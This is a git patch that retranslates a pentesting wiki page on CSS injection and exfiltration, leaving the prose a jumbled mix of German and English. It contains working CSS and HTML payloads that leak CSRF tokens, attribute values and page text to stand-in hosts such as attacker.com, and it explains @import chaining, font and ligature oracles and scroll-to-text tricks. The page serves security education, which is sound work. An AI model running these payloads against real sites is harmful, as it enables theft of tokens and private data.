From 82fd4070269ef59060412cebb63ae42db5a74164 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Fri, 29 Aug 2025 00:17:34 +0000
Subject: [PATCH] Translated ['',
 'src/pentesting-web/xs-search/css-injection/README.md']

---
 .../xs-search/css-injection/README.md         | 256 ++++++++++--------
 1 file changed, 149 insertions(+), 107 deletions(-)

diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md
index 032d60b48..63a1eb6c8 100644
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@@ -4,9 +4,9 @@
 
 ## CSS Injection
 
-### Attribut-Selektor
+### Attribute Selector
 
-CSS-Selektoren sind so gestaltet, dass sie die Werte der `name`- und `value`-Attribute eines `input`-Elements abgleichen. Wenn das value-Attribut des Eingabeelements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
+CSS-Selektoren werden so erstellt, dass sie die Werte der `input`-Element-Attribute `name` und `value` abgleichen. Wenn das `value`-Attribut des `input`-Elements mit einem bestimmten Zeichen beginnt, wird eine vordefinierte externe Ressource geladen:
 ```css
 input[name="csrf"][value^="a"] {
 background-image: url(https://attacker.com/exfil/a);
@@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
 background-image: url(https://attacker.com/exfil/9);
 }
 ```
-Diese Methode stößt jedoch auf eine Einschränkung, wenn es um versteckte Eingabeelemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden.
+Allerdings stößt dieser Ansatz an eine Grenze, wenn es um versteckte Input-Elemente (`type="hidden"`) geht, da versteckte Elemente keine Hintergründe laden.
 
 #### Umgehung für versteckte Elemente
 
-Um diese Einschränkung zu umgehen, können Sie ein nachfolgendes Geschwisterelement mit dem `~` allgemeinen Geschwisterkombinator anvisieren. Die CSS-Regel wird dann auf alle Geschwister angewendet, die dem versteckten Eingabeelement folgen, wodurch das Hintergrundbild geladen wird:
+Um diese Einschränkung zu umgehen, kannst du ein nachfolgendes Geschwisterelement mit dem allgemeinen Geschwisterkombinator `~` ansprechen. Die CSS-Regel gilt dann für alle Geschwister, die dem versteckten Input-Element folgen, wodurch das Hintergrundbild geladen wird:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
 }
 ```
-Ein praktisches Beispiel für die Ausnutzung dieser Technik ist im bereitgestellten Code-Snippet detailliert. Sie können es [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) einsehen.
+A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
 
-#### Voraussetzungen für CSS-Injection
+#### Voraussetzungen für CSS Injection
 
-Damit die CSS-Injection-Technik effektiv ist, müssen bestimmte Bedingungen erfüllt sein:
+For the CSS Injection technique to be effective, certain conditions must be met:
 
-1. **Payload-Länge**: Der CSS-Injection-Vektor muss ausreichend lange Payloads unterstützen, um die erstellten Selektoren unterzubringen.
-2. **CSS-Neubewertung**: Sie sollten die Fähigkeit haben, die Seite einzurahmen, was notwendig ist, um die Neubewertung von CSS mit neu generierten Payloads auszulösen.
-3. **Externe Ressourcen**: Die Technik setzt die Möglichkeit voraus, extern gehostete Bilder zu verwenden. Dies könnte durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
+1. **Payload Length**: Der CSS Injection-Vektor muss ausreichend lange Payloads unterstützen, um die konstruierten Selektoren aufzunehmen.
+2. **CSS Re-evaluation**: Du solltest die Möglichkeit haben, die Seite zu framen, was notwendig ist, um die erneute Auswertung von CSS mit neu generierten Payloads auszulösen.
+3. **Externe Ressourcen**: Die Technik setzt voraus, dass extern gehostete Bilder verwendet werden können. Das kann durch die Content Security Policy (CSP) der Seite eingeschränkt sein.
 
-### Blinder Attributselektor
+### Blind Attribute Selector
 
-Wie [**in diesem Beitrag erklärt**](https://portswigger.net/research/blind-css-exfiltration), ist es möglich, die Selektoren **`:has`** und **`:not`** zu kombinieren, um Inhalte sogar von blinden Elementen zu identifizieren. Dies ist sehr nützlich, wenn Sie keine Ahnung haben, was sich in der Webseite befindet, die die CSS-Injection lädt.\
-Es ist auch möglich, diese Selektoren zu verwenden, um Informationen aus mehreren Blöcken desselben Typs zu extrahieren, wie in:
+As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
+It's also possible to use those selectors to extract information from several block of the same type like in:
 ```html
 <style>
 html:has(input[name^="m"]):not(input[name="mytoken"]) {
@@ -52,59 +52,95 @@ background: url(/m);
 <input name="mytoken" value="1337" />
 <input name="myname" value="gareth" />
 ```
-Kombiniert man dies mit der folgenden **@import**-Technik, ist es möglich, eine Menge **Info mit CSS-Injection von blinden Seiten zu exfiltrieren mit** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
+Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
 
 ### @import
 
-Die vorherige Technik hat einige Nachteile, siehe die Voraussetzungen. Sie müssen entweder in der Lage sein, **mehrere Links an das Opfer zu senden**, oder Sie müssen in der Lage sein, die **CSS-Injection-anfällige Seite in ein iframe zu laden**.
+Die vorherige Technik hat einige Nachteile — siehe die prerequisites. Entweder musst du in der Lage sein, **mehrere Links an das victim zu senden**, oder du musst die **iframe**-Fähigkeit für die CSS injection verwundbare Seite haben.
 
-Es gibt jedoch eine weitere clevere Technik, die **CSS `@import`** verwendet, um die Qualität der Technik zu verbessern.
+Es gibt jedoch eine andere clevere Technik, die **CSS `@import`** verwendet, um die Qualität der Methode zu verbessern.
 
-Dies wurde zuerst von [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) gezeigt und funktioniert so:
+Dies wurde zuerst von [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) gezeigt und funktioniert wie folgt:
 
-Anstatt die gleiche Seite immer wieder mit Dutzenden von verschiedenen Payloads zu laden (wie in der vorherigen Technik), werden wir die **Seite nur einmal und nur mit einem Import zum Server des Angreifers laden** (das ist die Payload, die an das Opfer gesendet werden soll):
+Anstatt dieselbe Seite immer wieder zu laden und jedes Mal dutzende verschiedene payloads einzusetzen (wie bei der vorherigen Methode), werden wir die Seite nur einmal laden und sie nur mit einem Import zum attackers server laden (das ist das payload, das an das victim gesendet wird):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
-1. Der Import wird **einige CSS-Skripte** von den Angreifern **empfangen und der Browser wird sie laden**.
-2. Der erste Teil des CSS-Skripts, den der Angreifer senden wird, ist **ein weiteres `@import` zum Server des Angreifers**.
-1. Der Server des Angreifers wird diese Anfrage noch nicht beantworten, da wir einige Zeichen leaken und dann diesen Import mit der Payload beantworten wollen, um die nächsten zu leaken.
-3. Der zweite und größere Teil der Payload wird ein **Attributselektor-Leakage-Payload** sein.
-1. Dies wird dem Server des Angreifers das **erste Zeichen des Geheimnisses und das letzte** senden.
-4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Geheimnisses** erhalten hat, wird er **den in Schritt 2 angeforderten Import beantworten**.
-1. Die Antwort wird genau die gleiche sein wie in den **Schritten 2, 3 und 4**, aber diesmal wird er versuchen, **das zweite Zeichen des Geheimnisses und dann das vorletzte** zu finden.
+1. Das Import wird **einige CSS-Skripte vom Angreifer erhalten** und der **Browser wird sie laden**.
+2. Der erste Teil des vom Angreifer gesendeten CSS-Skripts ist **ein weiteres `@import` zum Server des Angreifers.**
+1. Der Server des Angreifers wird auf diese Anfrage noch nicht antworten, da wir zuerst ein paar Zeichen leak-en und dann dieses import mit dem Payload beantworten wollen, um die nächsten zu leak-en.
+3. Der zweite und größere Teil des Payloads ist ein **Attribute-Selector-Leakage-Payload**
+1. Dies wird an den Server des Angreifers das **erste Zeichen des Secrets und das letzte** senden
+4. Sobald der Server des Angreifers das **erste und letzte Zeichen des Secrets** erhalten hat, wird er **das in Schritt 2 angeforderte import beantworten**.
+1. Die Antwort wird genau dieselbe Struktur wie **Schritte 2, 3 und 4** haben, aber dieses Mal wird versucht, **das zweite Zeichen des Secrets und dann das vorletzte** zu finden.
 
-Der Angreifer wird **diesen Loop fortsetzen, bis er das Geheimnis vollständig leaken kann**.
+Der Angreifer wird **dieser Schleife folgen, bis es ihm gelingt, das Secret vollständig zu leak-en**.
 
-Sie können den ursprünglichen [**Code von Pepe Vila, um dies auszunutzen, hier finden**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder Sie können fast den [**gleichen Code, aber kommentiert, hier finden**.](#css-injection)
+Du findest das Original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) oder du findest fast denselben [**same code but commented here**.](#css-injection)
 
-> [!NOTE]
-> Das Skript wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), da der Attributselektor es ermöglicht, Dinge wie:
+> [!TIP]
+> Das Script wird versuchen, jedes Mal 2 Zeichen zu entdecken (vom Anfang und vom Ende), weil der Attribute-Selector Dinge wie erlaubt:
 >
 > ```css
-> /* value^=  um den Anfang des Wertes zu matchen */
+> /* value^=  to match the beggining of the value*/
 > input[value^="0"] {
->   --s0: url(http://localhost:5001/leak?pre=0);
+>  --s0: url(http://localhost:5001/leak?pre=0);
 > }
 >
-> /* value$=  um das Ende des Wertes zu matchen */
+> /* value$=  to match the ending of the value*/
 > input[value$="f"] {
->   --e0: url(http://localhost:5001/leak?post=f);
+>  --e0: url(http://localhost:5001/leak?post=f);
 > }
 > ```
 >
-> Dies ermöglicht es dem Skript, das Geheimnis schneller zu leaken.
+> Das erlaubt dem Script, das Secret schneller zu leak-en.
 
 > [!WARNING]
-> Manchmal **erkennt das Skript nicht korrekt, dass das entdeckte Präfix + Suffix bereits die vollständige Flagge ist** und es wird weiterhin vorwärts (im Präfix) und rückwärts (im Suffix) gehen und irgendwann wird es hängen bleiben.\
-> Keine Sorge, überprüfen Sie einfach die **Ausgabe**, denn **Sie können die Flagge dort sehen**.
+> Manchmal erkennt das Script **nicht korrekt, dass das entdeckte Präfix + Suffix bereits die komplette flag ist** und es wird im Vorwärtsbereich (Präfix) und Rückwärtsbereich (Suffix) weiterlaufen und sich irgendwann aufhängen.\
+> Keine Sorge, überprüfe einfach die **Ausgabe**, denn **du kannst die flag dort sehen**.
+
+### Inline-Style CSS Exfiltration (attr() + if() + image-set())
+
+This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
+
+> [!WARNING]
+> Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
+
+- Sink: kontrolliere das style-Attribut eines Elements und stelle sicher, dass das Zielattribut auf demselben Element ist (attr() liest nur Attributes desselben Elements).
+- Read: kopiere das Attribut in eine CSS-Variable: `--val: attr(title)`.
+- Decide: wähle eine URL mit verschachtelten Conditionals, die die Variable mit String-Kandidaten vergleichen: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
+- Exfiltrate: wende `background: image-set(var(--steal))` (oder eine andere fetchende Eigenschaft) an, um eine Anfrage an den gewählten Endpoint zu erzwingen.
+
+Attempt (does not work; single quotes in comparison):
+```html
+<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
+```
+Funktionierender Payload (für den Vergleich sind doppelte Anführungszeichen erforderlich):
+```html
+<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
+```
+Auflisten von Attributwerten mit verschachtelten Bedingungen:
+```html
+<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
+```
+Realistische Demo (Benutzernamen abfragen):
+```html
+<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
+```
+Hinweise und Einschränkungen:
+
+- Funktioniert zum Zeitpunkt der Recherche in Chromium-basierten Browsern; das Verhalten kann in anderen Engines abweichen.
+- Am besten geeignet für endliche/aufzählbare Wertebereiche (IDs, flags, kurze Benutzernamen). Das Stehlen beliebig langer Zeichenketten ohne externe Stylesheets bleibt schwierig.
+- Jede CSS-Eigenschaft, die eine URL abruft, kann verwendet werden, um die Anfrage auszulösen (z. B. background/image-set, border-image, list-style, cursor, content).
+
+Automatisierung: eine Burp Custom Action kann verschachtelte inline-style Payloads erzeugen, um Attributwerte per brute-force zu ermitteln: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
 
 ### Andere Selektoren
 
-Andere Möglichkeiten, auf DOM-Teile mit **CSS-Selektoren** zuzugreifen:
+Weitere Möglichkeiten, auf Teile des DOM mit **CSS selectors** zuzugreifen:
 
-- **`.class-to-search:nth-child(2)`**: Dies wird das zweite Element mit der Klasse "class-to-search" im DOM suchen.
-- **`:empty`** Selektor: Wird zum Beispiel in [**diesem Writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** verwendet:**
+- **`.class-to-search:nth-child(2)`**: Sucht das zweite Element mit der Klasse "class-to-search" im DOM.
+- **`:empty`** selector: Wird zum Beispiel in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
 
 ```css
 [role^="img"][aria-label="1"]:empty {
@@ -114,9 +150,9 @@ background-image: url("YOUR_SERVER_URL?1");
 
 ### Fehlerbasierte XS-Search
 
-**Referenz:** [CSS-basierter Angriff: Missbrauch von unicode-range von @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC von @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
+**Referenz:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
 
-Die allgemeine Absicht ist, **eine benutzerdefinierte Schriftart von einem kontrollierten Endpunkt zu verwenden** und sicherzustellen, dass **Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (`favicon.ico`) nicht geladen werden kann**.
+Das übergeordnete Ziel ist, **eine benutzerdefinierte Schriftart von einem kontrollierten Endpoint zu verwenden** und sicherzustellen, dass **Text (in diesem Fall 'A') nur mit dieser Schriftart angezeigt wird, wenn die angegebene Ressource (`favicon.ico`) nicht geladen werden kann**.
 ```html
 <!DOCTYPE html>
 <html>
@@ -138,49 +174,49 @@ font-family: "poc";
 </body>
 </html>
 ```
-1. **Verwendung benutzerdefinierter Schriftarten**:
+1. **Verwendung einer benutzerdefinierten Schriftart**:
 
-- Eine benutzerdefinierte Schriftart wird mit der Regel `@font-face` innerhalb eines `<style>`-Tags im `<head>`-Bereich definiert.
-- Die Schriftart wird `poc` genannt und von einem externen Endpunkt (`http://attacker.com/?leak`) abgerufen.
-- Die Eigenschaft `unicode-range` ist auf `U+0041` gesetzt, um das spezifische Unicode-Zeichen 'A' anzusprechen.
+- Eine benutzerdefinierte Schriftart wird mit der `@font-face`-Regel innerhalb eines `<style>`-Tags im `<head>`-Abschnitt definiert.
+- Die Schriftart heißt `poc` und wird von einem externen Endpunkt (`http://attacker.com/?leak`) geladen.
+- Die Eigenschaft `unicode-range` ist auf `U+0041` gesetzt und zielt auf das Unicode-Zeichen 'A' ab.
 
-2. **Objektelement mit Fallback-Text**:
-- Ein `<object>`-Element mit `id="poc0"` wird im `<body>`-Bereich erstellt. Dieses Element versucht, eine Ressource von `http://192.168.0.1/favicon.ico` zu laden.
-- Die `font-family` für dieses Element ist auf `'poc'` gesetzt, wie im `<style>`-Bereich definiert.
+2. **Object-Element mit Fallback-Text**:
+- Ein `<object>`-Element mit `id="poc0"` wird im `<body>`-Abschnitt erstellt. Dieses Element versucht, eine Ressource von `http://192.168.0.1/favicon.ico` zu laden.
+- Die `font-family` für dieses Element ist auf `'poc'` gesetzt, wie im `<style>`-Abschnitt definiert.
 - Wenn die Ressource (`favicon.ico`) nicht geladen werden kann, wird der Fallback-Inhalt (der Buchstabe 'A') innerhalb des `<object>`-Tags angezeigt.
-- Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart `poc` gerendert, wenn die externe Ressource nicht geladen werden kann.
+- Der Fallback-Inhalt ('A') wird mit der benutzerdefinierten Schriftart `poc` gerendert, falls die externe Ressource nicht geladen werden kann.
 
-### Stilierung des Scroll-to-Text-Fragments
+### Styling des Scroll-to-Text Fragment
 
-Die **`:target`**-Pseudoklasse wird verwendet, um ein Element auszuwählen, das durch ein **URL-Fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` keine Elemente übereinstimmt, es sei denn, der Text wird ausdrücklich durch das Fragment angesprochen.
+Die Pseudo-Klasse **`:target`** wird verwendet, um ein Element auszuwählen, das durch ein **URL fragment** angesprochen wird, wie in der [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) angegeben. Es ist wichtig zu verstehen, dass `::target-text` kein Element auswählt, sofern der Text nicht explizit durch das Fragment adressiert wird.
 
-Ein Sicherheitsproblem entsteht, wenn Angreifer die Funktion **Scroll-to-text**-Fragment ausnutzen, um die Anwesenheit bestimmter Texte auf einer Webseite zu bestätigen, indem sie eine Ressource von ihrem Server durch HTML-Injection laden. Die Methode besteht darin, eine CSS-Regel wie diese einzufügen:
+Ein Sicherheitsproblem entsteht, wenn Angreifer die **Scroll-to-text**-Fragment-Funktion ausnutzen, wodurch sie das Vorhandensein eines bestimmten Textes auf einer Webseite bestätigen können, indem sie durch HTML injection eine Ressource von ihrem Server laden. Die Methode beinhaltet das Injizieren einer CSS-Regel wie diese:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-In solchen Szenarien, wenn der Text "Administrator" auf der Seite vorhanden ist, wird die Ressource `target.png` vom Server angefordert, was auf die Anwesenheit des Textes hinweist. Ein Beispiel für diesen Angriff kann durch eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text-Fragment einbettet:
+In solchen Szenarien wird, wenn der Text "Administrator" auf der Seite vorhanden ist, die Ressource `target.png` vom Server angefordert, was auf das Vorhandensein des Textes hinweist. Ein Beispiel für diesen Angriff kann über eine speziell gestaltete URL ausgeführt werden, die das injizierte CSS zusammen mit einem Scroll-to-text fragment einbettet:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Hier manipuliert der Angriff die HTML-Injektion, um den CSS-Code zu übertragen, der auf den spezifischen Text "Administrator" abzielt, durch den Scroll-to-text-Fragment (`#:~:text=Administrator`). Wenn der Text gefunden wird, wird die angegebene Ressource geladen, was unbeabsichtigt ihre Präsenz an den Angreifer signalisiert.
+Hier manipuliert der Angriff HTML injection, um den CSS-Code zu übertragen, und zielt dabei mittels des Scroll-to-text fragment (`#:~:text=Administrator`) auf den spezifischen Text "Administrator". Wird der Text gefunden, wird die angegebene Ressource geladen und signalisiert unbeabsichtigt deren Präsenz dem Angreifer.
 
-Zur Minderung sollten die folgenden Punkte beachtet werden:
+Zur Abmilderung sollten folgende Punkte beachtet werden:
 
-1. **Eingeschränkte STTF-Übereinstimmung**: Das Scroll-to-text-Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze übereinstimmt, wodurch seine Fähigkeit, beliebige Geheimnisse oder Tokens zu leaken, eingeschränkt wird.
-2. **Einschränkung auf Top-Level-Browsing-Kontexte**: STTF funktioniert ausschließlich in Top-Level-Browsing-Kontexten und nicht innerhalb von iframes, was jeden Versuchs der Ausnutzung für den Benutzer auffälliger macht.
-3. **Notwendigkeit der Benutzeraktivierung**: STTF erfordert eine Benutzeraktivierungsaktion, um zu funktionieren, was bedeutet, dass Ausnutzungen nur durch benutzerinitiierte Navigationen möglich sind. Diese Anforderung verringert das Risiko, dass Angriffe automatisiert ohne Benutzerinteraktion durchgeführt werden. Dennoch weist der Autor des Blogbeitrags auf spezifische Bedingungen und Umgehungen hin (z. B. Social Engineering, Interaktion mit gängigen Browsererweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) ist so konzipiert, dass es nur Wörter oder Sätze abgleicht, wodurch seine Fähigkeit eingeschränkt ist, beliebige secrets oder tokens zu leaken.
+2. **Restriction to Top-level Browsing Contexts**: STTF funktioniert ausschließlich in top-level browsing contexts und nicht innerhalb von iframes, wodurch jeder Exploit-Versuch für den Nutzer auffälliger wird.
+3. **Necessity of User Activation**: STTF erfordert eine Benutzeraktivierungsgeste, um zu funktionieren, das heißt Ausnutzungen sind nur über vom Nutzer initiierte Navigationsvorgänge möglich. Diese Voraussetzung mindert erheblich das Risiko, dass Angriffe ohne Benutzerinteraktion automatisiert werden. Der Autor des Blogposts weist jedoch auf bestimmte Bedingungen und Bypässe hin (z. B. social engineering, Interaktion mit weit verbreiteten Browser-Erweiterungen), die die Automatisierung des Angriffs erleichtern könnten.
 
-Das Bewusstsein für diese Mechanismen und potenziellen Schwachstellen ist entscheidend für die Aufrechterhaltung der Websicherheit und den Schutz vor solchen ausbeuterischen Taktiken.
+Bewusstsein für diese Mechanismen und potenzielle Schwachstellen ist entscheidend, um Web‑Sicherheit zu erhalten und sich gegen solche ausbeuterischen Taktiken zu schützen.
 
-Für weitere Informationen siehe den ursprünglichen Bericht: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+Für mehr Informationen siehe den Originalbericht: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-Sie können einen [**Exploit, der diese Technik für ein CTF verwendet, hier überprüfen**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Sie können sich einen [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) ansehen.
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Sie können **externe Schriftarten für spezifische Unicode-Werte angeben**, die nur **gesammelt werden, wenn diese Unicode-Werte auf der Seite vorhanden sind**. Zum Beispiel:
+Sie können **externe Fonts für bestimmte Unicode‑Werte** angeben, die nur dann **geladen werden, wenn diese Unicode‑Werte auf der Seite vorhanden sind**. Zum Beispiel:
 ```html
 <style>
 @font-face {
@@ -206,25 +242,25 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Wenn Sie diese Seite aufrufen, holen Chrome und Firefox "?A" und "?B", weil der Textknoten von sensitive-information die Zeichen "A" und "B" enthält. Aber Chrome und Firefox holen "?C" nicht, weil es "C" nicht enthält. Das bedeutet, dass wir "A" und "B" lesen konnten.
+When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
 
-### Textknoten-Exfiltration (I): Ligaturen <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
+### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-**Referenz:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
+**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Knoten, indem Font-Ligaturen ausgenutzt und Änderungen in der Breite überwacht werden. Der Prozess umfasst mehrere Schritte:
+Die beschriebene Technik beinhaltet das Extrahieren von Text aus einem Node durch Ausnutzen von font ligatures und das Überwachen von Breitenänderungen. Der Prozess umfasst mehrere Schritte:
 
-1. **Erstellung von benutzerdefinierten Schriftarten**:
+1. **Creation of Custom Fonts**:
 
-- SVG-Schriftarten werden mit Glyphen erstellt, die ein `horiz-adv-x`-Attribut haben, das eine große Breite für ein Glyphen darstellt, das eine zweiziffrige Sequenz repräsentiert.
-- Beispiel SVG-Glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, wobei "XY" eine zweiziffrige Sequenz bezeichnet.
-- Diese Schriftarten werden dann mit fontforge in das woff-Format konvertiert.
+- SVG fonts werden mit Glyphen erstellt, die ein `horiz-adv-x` Attribut besitzen, welches eine große Breite für eine Glyphe setzt, die eine zwei-Zeichen-Sequenz repräsentiert.
+- Beispiel SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, wobei "XY" eine zwei-Zeichen-Sequenz bezeichnet.
+- Diese Fonts werden dann mit fontforge in das woff-Format konvertiert.
 
-2. **Erkennung von Breitenänderungen**:
+2. **Detection of Width Changes**:
 
-- CSS wird verwendet, um sicherzustellen, dass der Text nicht umbricht (`white-space: nowrap`) und um den Stil der Bildlaufleiste anzupassen.
-- Das Erscheinen einer horizontalen Bildlaufleiste, die deutlich gestaltet ist, fungiert als Indikator (Orakel), dass eine bestimmte Ligatur und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
-- Das verwendete CSS:
+- CSS wird verwendet, um sicherzustellen, dass Text nicht umgebrochen wird (`white-space: nowrap`) und um das Scrollbar-Design anzupassen.
+- Das Erscheinen einer horizontalen scrollbar, die unterschiedlich gestylt ist, dient als Indikator (oracle), dass eine bestimmte ligature und damit eine bestimmte Zeichenfolge im Text vorhanden ist.
+- Der verwendete CSS-Code:
 ```css
 body {
 white-space: nowrap;
@@ -237,28 +273,28 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Exploit-Prozess**:
+3. **Exploit Process**:
 
-- **Schritt 1**: Schriftarten werden für Zeichenpaare mit erheblicher Breite erstellt.
-- **Schritt 2**: Ein scrollbar-basiertetrick wird verwendet, um zu erkennen, wann das große Breite-Glyph (Ligatur für ein Zeichenpaar) gerendert wird, was auf die Anwesenheit der Zeichenfolge hinweist.
-- **Schritt 3**: Nach der Erkennung einer Ligatur werden neue Glyphen generiert, die dreiziffrige Sequenzen darstellen, wobei das erkannte Paar und ein vorangestelltes oder nachgestelltes Zeichen hinzugefügt werden.
-- **Schritt 4**: Die Erkennung der dreiziffrigen Ligatur wird durchgeführt.
-- **Schritt 5**: Der Prozess wiederholt sich und enthüllt schrittweise den gesamten Text.
+- **Step 1**: Fonts werden für Paare von Zeichen mit großer Breite erstellt.
+- **Step 2**: Ein scrollbar-basiertes Trick wird eingesetzt, um zu erkennen, wann die breit-glyphe (ligature für ein Zeichenpaar) gerendert wird, was auf das Vorhandensein der Zeichenfolge hinweist.
+- **Step 3**: Beim Erkennen einer ligature werden neue Glyphen erzeugt, die Dreizeichen-Sequenzen repräsentieren, indem das erkannte Paar verwendet und ein vorangestelltes oder nachgestelltes Zeichen hinzugefügt wird.
+- **Step 4**: Die Erkennung der Dreizeichen-ligature wird durchgeführt.
+- **Step 5**: Der Prozess wiederholt sich und offenbart schrittweise den gesamten Text.
 
-4. **Optimierung**:
+4. **Optimization**:
 - Die aktuelle Initialisierungsmethode mit `<meta refresh=...` ist nicht optimal.
-- Ein effizienterer Ansatz könnte den CSS `@import`-Trick beinhalten, um die Leistung des Exploits zu verbessern.
+- Eine effizientere Methode könnte den CSS `@import` Trick verwenden, wodurch die Performance des Exploits verbessert wird.
 
-### Textknoten-Exfiltration (II): Leaking des Zeichensatzes mit einer Standard-Schriftart (ohne externe Assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referenz:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
+**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
